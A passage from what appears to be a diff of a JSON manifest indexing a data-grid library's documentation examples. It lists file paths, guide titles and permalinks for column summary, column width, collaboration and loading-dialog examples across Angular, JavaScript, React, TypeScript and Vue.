"framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-summary/javascript/example7.js", - "file": "guides__columns__column-summary__javascript__example7.js.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example7", - "exampleTitle": "Set up column summaries, using a function", - "docPermalink": "/column-summary", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-summary/react/example7.tsx", - "file": "guides__columns__column-summary__react__example7.tsx.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example7", - "exampleTitle": "Set up column summaries, using a function", - "docPermalink": "/column-summary", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-summary/javascript/example7.ts", - "file": "guides__columns__column-summary__javascript__example7.ts.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example7", - "exampleTitle": "Set up column summaries, using a function", - "docPermalink": "/column-summary", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-summary/vue/example7.vue", - "file": "guides__columns__column-summary__vue__example7.vue.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example7", - "exampleTitle": "Set up column summaries, using a function", - "docPermalink": "/column-summary", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-summary/angular/example8.ts", - "file": "guides__columns__column-summary__angular__example8.ts.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example8", - "exampleTitle": "Set up column summaries, using a function (3)", - "docPermalink": "/column-summary", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-summary/javascript/example8.js", - "file": "guides__columns__column-summary__javascript__example8.js.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example8", - "exampleTitle": "Set up column summaries, using a function (3)", - "docPermalink": "/column-summary", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-summary/react/example8.tsx", - "file": "guides__columns__column-summary__react__example8.tsx.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example8", - "exampleTitle": "Set up column summaries, using a function (3)", - "docPermalink": "/column-summary", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-summary/javascript/example8.ts", - "file": "guides__columns__column-summary__javascript__example8.ts.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example8", - "exampleTitle": "Set up column summaries, using a function (3)", - "docPermalink": "/column-summary", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-summary/vue/example8.vue", - "file": "guides__columns__column-summary__vue__example8.vue.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example8", - "exampleTitle": "Set up column summaries, using a function (3)", - "docPermalink": "/column-summary", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-summary/javascript/example9.js", - "file": "guides__columns__column-summary__javascript__example9.js.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example9", - "exampleTitle": "Implement a custom summary function", - "docPermalink": "/column-summary", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-summary/react/example9.tsx", - "file": "guides__columns__column-summary__react__example9.tsx.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example9", - "exampleTitle": "Implement a custom summary function", - "docPermalink": "/column-summary", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-summary/javascript/example9.ts", - "file": "guides__columns__column-summary__javascript__example9.ts.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example9", - "exampleTitle": "Implement a custom summary function", - "docPermalink": "/column-summary", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-summary/vue/example9.vue", - "file": "guides__columns__column-summary__vue__example9.vue.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example9", - "exampleTitle": "Implement a custom summary function", - "docPermalink": "/column-summary", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-virtualization/angular/example1.ts", - "file": "guides__columns__column-virtualization__angular__example1.ts.json", - "breadcrumb": [ - "Columns", - "Column virtualization" - ], - "guide": "guides/columns/column-virtualization/column-virtualization.md", - "guideTitle": "Column virtualization", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-virtualization", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-virtualization/javascript/example1.js", - "file": "guides__columns__column-virtualization__javascript__example1.js.json", - "breadcrumb": [ - "Columns", - "Column virtualization" - ], - "guide": "guides/columns/column-virtualization/column-virtualization.md", - "guideTitle": "Column virtualization", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-virtualization", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-virtualization/react/example1.tsx", - "file": "guides__columns__column-virtualization__react__example1.tsx.json", - "breadcrumb": [ - "Columns", - "Column virtualization" - ], - "guide": "guides/columns/column-virtualization/column-virtualization.md", - "guideTitle": "Column virtualization", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-virtualization", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-virtualization/javascript/example1.ts", - "file": "guides__columns__column-virtualization__javascript__example1.ts.json", - "breadcrumb": [ - "Columns", - "Column virtualization" - ], - "guide": "guides/columns/column-virtualization/column-virtualization.md", - "guideTitle": "Column virtualization", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-virtualization", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-virtualization/vue/example1.vue", - "file": "guides__columns__column-virtualization__vue__example1.vue.json", - "breadcrumb": [ - "Columns", - "Column virtualization" - ], - "guide": "guides/columns/column-virtualization/column-virtualization.md", - "guideTitle": "Column virtualization", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-virtualization", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-width/angular/example1.ts", - "file": "guides__columns__column-width__angular__example1.ts.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-width", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-width/javascript/example1.js", - "file": "guides__columns__column-width__javascript__example1.js.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-width", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-width/react/example1.tsx", - "file": "guides__columns__column-width__react__example1.tsx.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-width", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-width/javascript/example1.ts", - "file": "guides__columns__column-width__javascript__example1.ts.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-width", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-width/vue/example1.vue", - "file": "guides__columns__column-width__vue__example1.vue.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-width", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-width/angular/example2.ts", - "file": "guides__columns__column-width__angular__example2.ts.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example2", - "exampleTitle": "Set the column width in an array", - "docPermalink": "/column-width", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-width/javascript/example2.js", - "file": "guides__columns__column-width__javascript__example2.js.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example2", - "exampleTitle": "Set the column width in an array", - "docPermalink": "/column-width", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-width/react/example2.tsx", - "file": "guides__columns__column-width__react__example2.tsx.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example2", - "exampleTitle": "Set the column width in an array", - "docPermalink": "/column-width", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-width/javascript/example2.ts", - "file": "guides__columns__column-width__javascript__example2.ts.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example2", - "exampleTitle": "Set the column width in an array", - "docPermalink": "/column-width", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-width/vue/example2.vue", - "file": "guides__columns__column-width__vue__example2.vue.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example2", - "exampleTitle": "Set the column width in an array", - "docPermalink": "/column-width", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-width/angular/example3.ts", - "file": "guides__columns__column-width__angular__example3.ts.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example3", - "exampleTitle": "Set the column width using a function", - "docPermalink": "/column-width", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-width/javascript/example3.js", - "file": "guides__columns__column-width__javascript__example3.js.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example3", - "exampleTitle": "Set the column width using a function", - "docPermalink": "/column-width", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-width/react/example3.tsx", - "file": "guides__columns__column-width__react__example3.tsx.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example3", - "exampleTitle": "Set the column width using a function", - "docPermalink": "/column-width", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-width/javascript/example3.ts", - "file": "guides__columns__column-width__javascript__example3.ts.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example3", - "exampleTitle": "Set the column width using a function", - "docPermalink": "/column-width", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-width/vue/example3.vue", - "file": "guides__columns__column-width__vue__example3.vue.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example3", - "exampleTitle": "Set the column width using a function", - "docPermalink": "/column-width", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-width/angular/example4.ts", - "file": "guides__columns__column-width__angular__example4.ts.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example4", - "exampleTitle": "Adjust the column width manually", - "docPermalink": "/column-width", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-width/javascript/example4.js", - "file": "guides__columns__column-width__javascript__example4.js.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example4", - "exampleTitle": "Adjust the column width manually", - "docPermalink": "/column-width", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-width/react/example4.tsx", - "file": "guides__columns__column-width__react__example4.tsx.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example4", - "exampleTitle": "Adjust the column width manually", - "docPermalink": "/column-width", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-width/javascript/example4.ts", - "file": "guides__columns__column-width__javascript__example4.ts.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example4", - "exampleTitle": "Adjust the column width manually", - "docPermalink": "/column-width", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-width/vue/example4.vue", - "file": "guides__columns__column-width__vue__example4.vue.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example4", - "exampleTitle": "Adjust the column width manually", - "docPermalink": "/column-width", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-width/angular/example5.ts", - "file": "guides__columns__column-width__angular__example5.ts.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example5", - "exampleTitle": "Fit all columns equally", - "docPermalink": "/column-width", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-width/javascript/example5.js", - "file": "guides__columns__column-width__javascript__example5.js.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example5", - "exampleTitle": "Fit all columns equally", - "docPermalink": "/column-width", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-width/react/example5.tsx", - "file": "guides__columns__column-width__react__example5.tsx.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example5", - "exampleTitle": "Fit all columns equally", - "docPermalink": "/column-width", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-width/javascript/example5.ts", - "file": "guides__columns__column-width__javascript__example5.ts.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example5", - "exampleTitle": "Fit all columns equally", - "docPermalink": "/column-width", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-width/vue/example5.vue", - "file": "guides__columns__column-width__vue__example5.vue.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example5", - "exampleTitle": "Fit all columns equally", - "docPermalink": "/column-width", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-width/angular/example6.ts", - "file": "guides__columns__column-width__angular__example6.ts.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example6", - "exampleTitle": "Stretch only the last column", - "docPermalink": "/column-width", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-width/javascript/example6.js", - "file": "guides__columns__column-width__javascript__example6.js.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example6", - "exampleTitle": "Stretch only the last column", - "docPermalink": "/column-width", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-width/react/example6.tsx", - "file": "guides__columns__column-width__react__example6.tsx.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example6", - "exampleTitle": "Stretch only the last column", - "docPermalink": "/column-width", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-width/javascript/example6.ts", - "file": "guides__columns__column-width__javascript__example6.ts.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example6", - "exampleTitle": "Stretch only the last column", - "docPermalink": "/column-width", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-width/vue/example6.vue", - "file": "guides__columns__column-width__vue__example6.vue.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example6", - "exampleTitle": "Stretch only the last column", - "docPermalink": "/column-width", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-width/angular/example7.ts", - "file": "guides__columns__column-width__angular__example7.ts.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example7", - "exampleTitle": "Set a dynamic maximum column width", - "docPermalink": "/column-width", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-width/javascript/example7.js", - "file": "guides__columns__column-width__javascript__example7.js.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example7", - "exampleTitle": "Set a dynamic maximum column width", - "docPermalink": "/column-width", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-width/react/example7.tsx", - "file": "guides__columns__column-width__react__example7.tsx.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example7", - "exampleTitle": "Set a dynamic maximum column width", - "docPermalink": "/column-width", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-width/javascript/example7.ts", - "file": "guides__columns__column-width__javascript__example7.ts.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example7", - "exampleTitle": "Set a dynamic maximum column width", - "docPermalink": "/column-width", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-width/vue/example7.vue", - "file": "guides__columns__column-width__vue__example7.vue.json", - "breadcrumb": [ - "Columns", - "Column widths" - ], - "guide": "guides/columns/column-width/column-width.md", - "guideTitle": "Column widths", - "exampleId": "example7", - "exampleTitle": "Set a dynamic maximum column width", - "docPermalink": "/column-width", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/data-management/collaboration/angular/example1.ts", - "file": "guides__data-management__collaboration__angular__example1.ts.json", - "breadcrumb": [ - "Data Management", - "Handling collaboration and simultaneous editing" - ], - "guide": "guides/data-management/collaboration/collaboration.md", - "guideTitle": "Handling collaboration and simultaneous editing", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/collaboration", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/data-management/collaboration/javascript/example1.js", - "file": "guides__data-management__collaboration__javascript__example1.js.json", - "breadcrumb": [ - "Data Management", - "Handling collaboration and simultaneous editing" - ], - "guide": "guides/data-management/collaboration/collaboration.md", - "guideTitle": "Handling collaboration and simultaneous editing", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/collaboration", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/data-management/collaboration/react/example1.tsx", - "file": "guides__data-management__collaboration__react__example1.tsx.json", - "breadcrumb": [ - "Data Management", - "Handling collaboration and simultaneous editing" - ], - "guide": "guides/data-management/collaboration/collaboration.md", - "guideTitle": "Handling collaboration and simultaneous editing", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/collaboration", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/data-management/collaboration/javascript/example1.ts", - "file": "guides__data-management__collaboration__javascript__example1.ts.json", - "breadcrumb": [ - "Data Management", - "Handling collaboration and simultaneous editing" - ], - "guide": "guides/data-management/collaboration/collaboration.md", - "guideTitle": "Handling collaboration and simultaneous editing", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/collaboration", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/data-management/collaboration/vue/example1.vue", - "file": "guides__data-management__collaboration__vue__example1.vue.json", - "breadcrumb": [ - "Data Management", - "Handling collaboration and simultaneous editing" - ], - "guide": "guides/data-management/collaboration/collaboration.md", - "guideTitle": "Handling collaboration and simultaneous editing", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/collaboration", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/dialog/loading/angular/example1.ts", - "file": "guides__dialog__loading__angular__example1.ts.json", - "breadcrumb": [ - "Dialog", - "Loading" - ], - "guide": "guides/dialog/loading/loading.md", - "guideTitle": "Loading", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/loading", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/dialog/loading/javascript/example1.js", - "file": "guides__dialog__loading__javascript__example1.js.json", - "breadcrumb": [ - "Dialog", - "Loading" - ], - "guide": "guides/dialog/loading/loading.md", - "guideTitle": "Loading", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/loading", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/dialog/loading/react/example1.tsx", - "file": "guides__dialog__loading__react__example1.tsx.json", - "breadcrumb": [ - "Dialog", - "Loading" - ], - "guide": "guides/dialog/loading/loading.md", - "guideTitle": "Loading", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/loading", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/dialog/loading/javascript/example1.ts", - "file": "guides__dialog__loading__javascript__example1.ts.json", - "breadcrumb": [ - "Dialog", - "Loading" - ], - "guide": "guides/dialog/loading/loading.md", - "guideTitle": "Loading", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/loading", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/dialog/loading/vue/example1.vue", - "file": "guides__dialog__loading__vue__example1.vue.json", - "breadcrumb": [ - "Dialog", - "Loading" - ], - "guide": "guides/dialog/loading/loading.md", - "guideTitle": "Loading", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/loading", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/dialog/loading/angular/example2.ts", - "file": "guides__dialog__loading__angular__example2.ts.json", - "breadcrumb": [ - "Dialog", - "Loading" - ], - "guide": "guides/dialog/loading/loading.md", - "guideTitle": "Loading", - "exampleId": "example2", - "exampleTitle": "Custom configuration", - "docPermalink": "/loading", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/dialog/loading/javascript/example2.js", - "file": "guides__dialog__loading__javascript__example2.js.json", - "breadcrumb": [ - "Dialog", - "Loading" - ], - "guide": "guides/dialog/loading/loading.md", - "guideTitle": "Loading", - "exampleId": "example2", - "exampleTitle": "Custom configuration", - "docPermalink": "/loading", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/dialog/loading/react/example2.tsx", - "file": "guides__dialog__loading__react__example2.tsx.json", - "breadcrumb": [ - "Dialog", - "Loading" - ], - "guide": "guides/dialog/loading/loading.md", - "guideTitle": "Loading", - "exampleId": "example2", - "exampleTitle": "Custom configuration", - "docPermalink": "/loading", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/dialog/loading/javascript/example2.ts", - "file": "guides__dialog__loading__javascript__example2.ts.json", - "breadcrumb": [ - "Dialog", - "Loading" - ], - "guide": "guides/dialog/loading/loading.md", - "guideTitle": "Loading", - "exampleId": "example2", - "exampleTitle": "Custom configuration", - "docPermalink": "/loading", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/dialog/loading/vue/example2.vue", - "file": "guides__dialog__loading__vue__example2.vue.json", - "breadcrumb": [ - "Dialog", - "Loading" - ], - "guide": "guides/dialog/loading/loading.md", - "guideTitle": "Loading", - "exampleId": "example2", - "exampleTitle": "Custom configuration", - "docPermalink": "/loading", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/dialog/loading/angular/example3.ts", - "file": "guides__dialog__loading__angular__example3.ts.json", - "breadcrumb": [ - "Dialog", - "Loading" - ], - "guide": "guides/dialog/loading/loading.md", - "guideTitle": "Loading", - "exampleId": "example3", - "exampleTitle": "Real-world usage", - "docPermalink": "/loading", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/dialog/loading/javascript/example3.js", - "file": "guides__dialog__loading__javascript__example3.js.json", - "breadcrumb": [ - "Dialog", - "Loading" - ], - "guide": "guides/dialog/loading/loading.md", - "guideTitle": "Loading", - "exampleId": "example3", - "exampleTitle": "Real-world usage", - "docPermalink": "/loading", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/dialog/loading/react/example3.tsx", - "file": "guides__dialog__loading__react__example3.tsx.json", - "breadcrumb": [ - "Dialog", - "Loading" - ], - "guide": "guides/dialog/loading/loading.md", - "guideTitle": "Loading", - "exampleId": "example3", - "exampleTitle": "Real-world usage", - "docPermalink": "/loading", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/dialog/loading/javascript/example3.ts", - "file": "guides__dialog__loading__javascript__example3.ts.json", - "breadcrumb": [ - "Dialog", - "Loading" - ], - "guide": "guides/dialog/loading/loading.md", - "guideTitle": "Loading", - "exampleId": "example3", - "exampleTitle": "Real-world usage", - "docPermalink": "/loading", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/dialog/loading/vue/example3.vue", - "file": "guides__dialog__loading__vue__example3.vue.json", - "breadcrumb": [ - "Dialog", - "Loading" - ], - "guide": "guides/dialog/loading/loading.md", - "guideTitle": "Loading", - "exampleId": "example3", - "exampleTitle": "Real-world usage", - "docPermalink": "/loading", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/dialog/loading/angular/example4.ts", - "file": "guides__dialog__loading__angular__example4.ts.json", - "breadcrumb": [ - "Dialog", - "Loading" - ], - "guide": "guides/dialog/loading/loading.md", - "guideTitle": "Loading", - "exampleId": "example4", - "exampleTitle": "Loading with Pagination plugin", - "docPermalink": "/loading", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/dialog/loading/javascript/example4.js", - "file": "guides__dialog__loading__javascript__example4.js.json", - "breadcrumb": [ - "Dialog", - "Loading" - ], - "guide": "guides/dialog/loading/loading.md", - "guideTitle": "Loading", - "exampleId": "example4", - "exampleTitle": "Loading with Pagination plugin", - "docPermalink": "/loading", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/dialog/loading/react/example4.tsx", - "file": "guides__dialog__loading__react__example4.tsx.json", - "breadcrumb": [ - "Dialog", - "Loading" - ], - "guide": "guides/dialog/loading/loading.md", - "guideTitle": "Loading", - "exampleId": "example4", - "exampleTitle": "Loading with Pagination plugin", - "docPermalink": "/loading", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/dialog/loading/javascript/example4.ts", - "file": "guides__dialog__loading__javascript__example4.ts.json", - "breadcrumb": [ - "Dialog", - "Loading" - ], - "guide": "guides/dialog/loading/loading.md", - "guideTitle": "Loading", - "exampleId": "example4", - "exampleTitle": "Loading with Pagination plugin", - "docPermalink": "/loading", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/dialog/loading/vue/example4.vue", - "file": "guides__dialog__loading__vue__example4.vue.json", - "breadcrumb": [ - "Dialog", - "Loading" - ], - "guide": "guides/dialog/loading/loading.md", - "guideTitle": "Loading", - "exampleId": "example4", - "exampleTitle": "Loading with Pagination plugin", - "docPermalink": "/loading", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/dialog/notification/angular/example1.ts", - "file": "guides__dialog__notification__angular__example1.ts.json", - "breadcrumb": [ - "Dialog", - "Notification" - ], - "guide": "guides/dialog/notification/notification.md", - "guideTitle": "Notification", - "exampleId": "example1", - 